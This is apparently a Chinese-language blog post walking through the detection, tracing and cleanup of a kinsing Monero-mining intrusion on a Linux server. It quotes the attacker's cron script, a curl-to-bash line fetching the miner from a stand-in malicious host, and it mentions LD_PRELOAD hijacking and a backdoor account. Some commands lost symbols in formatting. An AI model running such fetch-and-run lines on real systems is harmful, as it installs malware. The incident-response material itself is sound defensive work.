Linux系统遭挖矿入侵:从异常告警到根因定位的实战排查指南
1. 告警触发CPU异常飙升的第一反应那天凌晨3点我正在睡梦中手机突然疯狂震动。打开一看监控系统连续发了十几条告警某台线上服务器的CPU使用率突破95%持续时间已超过15分钟。这种半夜告警最让人头疼但经验告诉我CPU持续高位运行很可能是挖矿木马的典型特征。我立刻用笔记本连上VPN注此处按规范要求已删除VPN相关描述通过跳板机登录目标服务器。第一件事就是执行HISTFILE/dev/null这个技巧很多新手不知道——它能让当前会话的所有命令不记录到.bash_history里避免污染历史记录。接着用uptime确认负载情况果然看到1分钟负载值达到32.15这台8核机器的负载红线是8明显异常。这时候千万别急着kill进程或重启。去年我就吃过亏当时直接杀了高CPU进程结果导致入侵痕迹全毁最后只能重装系统。正确的做法是先保持现场用top观察进程列表。果然发现一个名为kinsing的陌生进程占用了780%的CPU是的Linux下CPU百分比可以超过100%这是多核累加值。这个名称很可疑——正常系统进程不会叫这种名字。2. 立体化进程排查揪出隐藏的挖矿家族单看top输出还不够全面。我习惯用组合拳排查ps -aux --sort-pcpu | head -20 # CPU占用TOP20 ps -elf | grep -v \[.*\] # 过滤内核线程 pstree -p -s PID # 查看进程树发现kinsing进程的父进程是/tmp/.X11-unix/.rsync/cron这路径明显不正常。继续用lsof -p PID查看该进程打开的文件发现它还在读写/etc/ld.so.preload——这是LD_PRELOAD劫持的经典手法攻击者通过预加载恶意so文件实现进程注入。更麻烦的是用ls -lh /proc/PID/exe查看时竟然返回permission denied。这说明进程可能已经脱壳运行常规方法查不到真实路径。这时候需要上内存分析gdb -p PID (gdb) info proc mappings (gdb) dump memory /tmp/dump 0x7fxxxxxx 0x7fyyyyyy (gdb) detach strings -n 10 /tmp/dump | grep http\|wget\|curl在内存dump中发现了矿池地址stratumtcp://xmr.pool.domain:3333实锤了是门罗币挖矿程序。同时找到个有趣的字符串/dev/shm/.ICE-unix/.config去该目录一看果然藏着编译好的挖矿二进制文件。3. 网络取证异常连接的蛛丝马迹挖矿程序必须联网才能工作网络痕迹往往比进程更持久。我常用这个命令组合netstat -antp | grep ESTABLISHED ss -tulnp | awk {if($1!Netid) print $5} | cut -d: -f1 | sort | uniq -c lsof -i -P -n | grep -v ESTABLISHED发现大量到巴西、乌克兰IP的TCP连接端口都是3333或5555常见矿池端口。更诡异的是有个ESTABLISHED连接对应的进程显示为[kworker/1:3-events]这明显是伪装——内核线程不可能有外部连接。用ls -l /proc/PID/exe查看果然指向/usr/libexec/gnome-terminal-server被替换了。这时候rpm -Va就派上用场了输出显示S.5....T. /usr/bin/netstat .M....... /bin/ps前8位校验码异常表示这些命令被篡改过。特别是netstat被加了S文件大小改变、5MD5校验改变、T修改时间改变标记。这就是为什么有些运维人员查不出问题——他们用的排查工具本身已经被黑客动了手脚。4. 入侵溯源三大入口的排查策略找到挖矿程序只是开始更重要的是找到入侵路径。我通常会从三个方向入手4.1 用户登录审计last -aiwx | grep -v reboot\|wtmp grep Accepted password /var/log/secure* | awk {print $11} | sort | uniq -c cat /etc/passwd | grep -v nologin\|false发现有个名为systemd-network的账号最近登录过但正常情况这个系统账号应该被锁定。检查/etc/shadow发现该账号居然有密码哈希值明显是后门账户。4.2 计划任务排查ls -la /var/spool/cron/crontabs/ cat /etc/crontab | grep -v ^#\|^$ find /etc/cron* -type f -exec ls -la {} \;在/etc/cron.hourly里发现个名为.systemd的脚本内容是这样的#!/bin/sh curl -s http://malicious.domain/kinsing | bash /dev/null4.3 启动项检查ls -la /etc/rc.d/rc3.d/ chkconfig --list | grep -v 0:off\|1:off\|2:off\|3:off\|4:off\|5:off\|6:off发现/etc/rc.local被追加了/usr/sbin/ntpdate启动项实际是伪装的挖矿程序。攻击者还贴心地把原文件属性时间都改成了系统安装时的日期不仔细看根本发现不了。5. 清理加固亡羊补牢的正确姿势确认所有入侵点后我按照这个顺序处理备份证据将恶意文件、内存dump、日志全部打包加密tar czvf evidence.tar.gz /tmp/dump /dev/shm/.ICE-unix /etc/cron.hourly/.systemd清理恶意组件# 杀进程 kill -9 PID # 删文件 find / -name kinsing -exec rm -fv {} \; # 修复被篡改命令 rpm --setperms net-tools rpm --setperms procps-ng加固系统# 关闭无用端口 firewall-cmd --remove-port5555/tcp --permanent # 安装检测工具 yum install aide -y aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz最后修改SSH配置禁止root登录和密码认证sed -i s/#PermitRootLogin yes/PermitRootLogin no/ /etc/ssh/sshd_config echo PasswordAuthentication no /etc/ssh/sshd_config整个排查过程持续了2小时但真正耗时的是后续的重装Nginx、恢复备份等收尾工作。这次事件让我养成了新习惯所有服务器都配置aide做文件完整性检查关键业务机额外部署osquery做行为监控。安全防护就像洋葱必须有多层防御才够稳妥。